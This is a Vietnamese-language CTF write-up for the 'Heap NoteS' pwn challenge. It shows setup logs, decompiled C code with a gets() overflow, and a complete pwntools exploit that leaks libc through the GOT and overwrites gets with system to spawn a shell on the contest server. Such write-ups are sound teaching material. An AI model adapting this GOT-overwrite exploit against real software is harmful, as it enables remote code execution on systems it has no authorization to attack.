pwn - Heap NoteS

November 4, 2025 October 24, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

Chúng ta tiến hành setup challenge để lấy libcloader, cuối cùng sử dụng pwninit để patch binary.

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ docker build -t heapnotes .
[+] Building 35.0s (15/15) FINISHED

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ docker run -p 1337:1337 --privileged -it heapnotes
: not found
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ nc 0 1337
1. Create note
2. Read note
3. Write note
4. Exit
> 
──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ ps aux | grep pwn/
root      119991  0.0  0.0   9296  3868 ?        S+   21:49   0:00 socat TCP-LISTEN:1337,fork,reuseaddr EXEC:/pwn/challenge,su=ctf
root      121556  0.0  0.0   9296  2160 ?        S+   21:52   0:00 socat TCP-LISTEN:1337,fork,reuseaddr EXEC:/pwn/challenge,su=ctf
1001      121557  0.0  0.0   2556  1568 ?        S+   21:52   0:00 /pwn/challenge
kali      121616  0.0  0.0   6544  2304 pts/4    S+   21:52   0:00 grep --color=auto pwn/

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ sudo gdb -p 121557
[sudo] password for kali: 
GNU gdb (Debian 16.3-5) 16.3

(gdb) info proc mappings
process 121557
Mapped address spaces:

Start Addr         End Addr           Size               Offset             Perms File 
0x0000000000400000 0x0000000000401000 0x1000             0x0                r--p  /pwn/challenge 
0x0000000000401000 0x0000000000402000 0x1000             0x1000             r-xp  /pwn/challenge 
0x0000000000402000 0x0000000000403000 0x1000             0x2000             r--p  /pwn/challenge 
0x0000000000403000 0x0000000000404000 0x1000             0x2000             r--p  /pwn/challenge 
0x0000000000404000 0x0000000000405000 0x1000             0x3000             rw-p  /pwn/challenge 
0x00007ffaffd87000 0x00007ffaffd8a000 0x3000             0x0                rw-p   
0x00007ffaffd8a000 0x00007ffaffdb2000 0x28000            0x0                r--p  /usr/lib/x86_64-linux-gnu/libc.so.6 
0x00007ffaffdb2000 0x00007ffafff3a000 0x188000           0x28000            r-xp  /usr/lib/x86_64-linux-gnu/libc.so.6 
0x00007ffafff3a000 0x00007ffafff89000 0x4f000            0x1b0000           r--p  /usr/lib/x86_64-linux-gnu/libc.so.6 
0x00007ffafff89000 0x00007ffafff8d000 0x4000             0x1fe000           r--p  /usr/lib/x86_64-linux-gnu/libc.so.6 
0x00007ffafff8d000 0x00007ffafff8f000 0x2000             0x202000           rw-p  /usr/lib/x86_64-linux-gnu/libc.so.6 
0x00007ffafff8f000 0x00007ffafff9c000 0xd000             0x0                rw-p   
0x00007ffafff9e000 0x00007ffafffa0000 0x2000             0x0                rw-p   
0x00007ffafffa0000 0x00007ffafffa4000 0x4000             0x0                r--p  [vvar] 
0x00007ffafffa4000 0x00007ffafffa6000 0x2000             0x0                r--p  [vvar_vclock] 
0x00007ffafffa6000 0x00007ffafffa8000 0x2000             0x0                r-xp  [vdso] 
0x00007ffafffa8000 0x00007ffafffa9000 0x1000             0x0                r--p  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 
0x00007ffafffa9000 0x00007ffafffd4000 0x2b000            0x1000             r-xp  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 
0x00007ffafffd4000 0x00007ffafffde000 0xa000             0x2c000            r--p  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 
0x00007ffafffde000 0x00007ffafffe0000 0x2000             0x36000            r--p  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 
0x00007ffafffe0000 0x00007ffafffe2000 0x2000             0x38000            rw-p  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 
0x00007ffe9aadc000 0x00007ffe9aafd000 0x21000            0x0                rw-p  [stack]
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ docker cp a6d49aa45eb4:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge/.

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ docker cp a6d49aa45eb4:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge/.

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ pwninit --bin challenge 
bin: challenge
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.39-0ubuntu8.6_amd64.deb
copying challenge to challenge_patched
running patchelf on challenge_patched
writing solve.py stub

Source Code

Note struct

00000000 struct __fixed Note // sizeof=0x30
00000000 {
00000000     int index;
00000004     int padding;
00000008     Note *next;
00000010     char content[32];
00000030 };

main()

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  while ( 1 )
  {
    menu();
    scanf("%d%*c", &choice);
    if ( choice == 4 )
      exit(0);
    if ( choice > 4 )
    {
invalid_choice:
      puts("Wrong choice");
    }
    else
    {
      switch ( choice )
      {
        case 3:
          write_note();
          break;
        case 1:
          create_note();
          break;
        case 2:
          read_note();
          break;
        default:
          goto invalid_choice;
      }
    }
  }
}

menu()

int menu()
{
  puts("1. Create note");
  puts("2. Read note");
  puts("3. Write note");
  puts("4. Exit");
  return printf("> ");
}

create_note()

int create_note()
{
  Note *cur_note; // [rsp+0h] [rbp-10h]
  Note *next_note; // [rsp+8h] [rbp-8h]

  if ( head )
  {
    for ( cur_note = head; cur_note->next; cur_note = cur_note->next )
      ;
    next_note = (Note *)malloc(48u);
    next_note->index = cur_note->index + 1;
    next_note->next = 0;
    cur_note->next = next_note;
    return printf("Note with index %u created\n", next_note->index);
  }
  else
  {
    head = (Note *)malloc(48u);
    head->index = 0;
    head->next = 0;
    return puts("Note with index 0 created");
  }
}

read_note()

unsigned __int64 read_note()
{
  int index; // [rsp+Ch] [rbp-14h] BYREF
  Note *cur_note; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( head )
  {
    index = 0;
    printf("Index: ");
    scanf("%u%*c", &index);
    for ( cur_note = head; cur_note->index != index; cur_note = cur_note->next )
    {
      if ( !cur_note->next )
        return canary - __readfsqword(0x28u);
    }
    puts(cur_note->content);
  }
  return canary - __readfsqword(0x28u);
}

write_note()

unsigned __int64 write_note()
{
  int index; // [rsp+Ch] [rbp-14h] BYREF
  Note *cur_note; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( head )
  {
    index = 0;
    printf("Index: ");
    scanf("%u%*c", &index);
    for ( cur_note = head; cur_note->index != index; cur_note = cur_note->next )
    {
      if ( !cur_note->next )
        return canary - __readfsqword(0x28u);
    }
    gets(cur_note->content);
  }
  return canary - __readfsqword(0x28u);
}

Mitigation

Solve

Vì cơ chế quản lý note đang sử dụng đó là linked list. Ta có thể lợi dụng buffer overflow tại gets() trong write_note(), dẫn đến việc ghi và đọc tại địa chỉ bất kỳ.

Mitigation của binary chỉ có Partial RELRO nên chúng ta có thể ghi đè GOT entry để spawn shell. Với PIE được tắt, việc này khá dễ dàng.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("challenge_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "pwn2.cscv.vn"
        port = 3333
        return remote(host, port)

p = conn()

def create():
    sla(p, b'>', b'1')

def read(index):
    sla(p, b'>', b'2')
    slan(p, b'Index:', index)
    return ru(p, b'1. ').strip()[:-3]

def write(index, note):
    sla(p, b'>', b'3')
    slan(p, b'Index:', index)
    sl(p, note)
    
def _exit():
    sla(p, b'>', b'4')

# Cấp phát 3 chunk
for i in range(3):
    create()

# Để sử dụng sau này
write(0, b'/bin/sh')

# Ta biết 0x401040 nằm tại GOT entry của __stack_chk_fail là không đổi (do là địa chỉ trong binary, PIE không được bật). Ta sẽ overflow từ chunk 1 để ghi đè con trỏ next tại chunk 2 thành GOT entry của __stack_chk_fail là 0x404008. Nghĩa là ta có chunk 3 nằm tại 0x404008, với index biết trước là 0x401040

# [0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64 
# [0x404010] setbuf@GLIBC_2.2.5 -> 0x7ff56208f750 (setbuf) ◂— endbr64 
# [0x404018] printf@GLIBC_2.2.5 -> 0x7ff562060100 (printf) ◂— endbr64

# Tuy nhiên ta muốn chunk 3 nằm tại 0x404008 + 1 = 0x404009, bởi vì khi read_note() để leak địa chỉ printf, null byte ở cuối GOT entry của printf 0x7ff562060100 sẽ khiến puts() dừng ngay. Nên ta sẽ dịch lên 1 byte và đọc 0x7ff5620601, index lúc này là 0x4010 hay thì 0x401040

write(1, b'A' * 8 * 7 + p64(exe.got['__stack_chk_fail'] + 1))

leaked = b'\0' + read(0x4010)
libc.address = u64(leaked.ljust(8, b'\0')) - libc.symbols['printf']
print(f"libc base: {hex(libc.address)}")

# [0x404010] setbuf@GLIBC_2.2.5 -> 0x7f63c148f750 (setbuf) ◂— endbr64 
# [0x404018] printf@GLIBC_2.2.5 -> 0x7f63c1460100 (printf) ◂— endbr64 
# [0x404020] gets@GLIBC_2.2.5 -> 0x7f63c1487080 (gets) ◂— endbr64

# Bây giờ chúng ta sẽ ghi đè GOT entry của gets thành system, để khi gọi gets(cur_note->content) trong write_note(0) sẽ trở thành system('/bin/sh')

print(f"setbuf: {hex(libc.symbols['setbuf'])}")
print(f"system: {hex(libc.symbols['system'])}")
write(1, b'A' * 8 * 7 + p64(exe.got['setbuf']))
write(libc.symbols['setbuf'] & 0xffffffff, p64(libc.symbols['system']))

# system('/bin/sh')
write(0, b'PWNED!')

ia(p)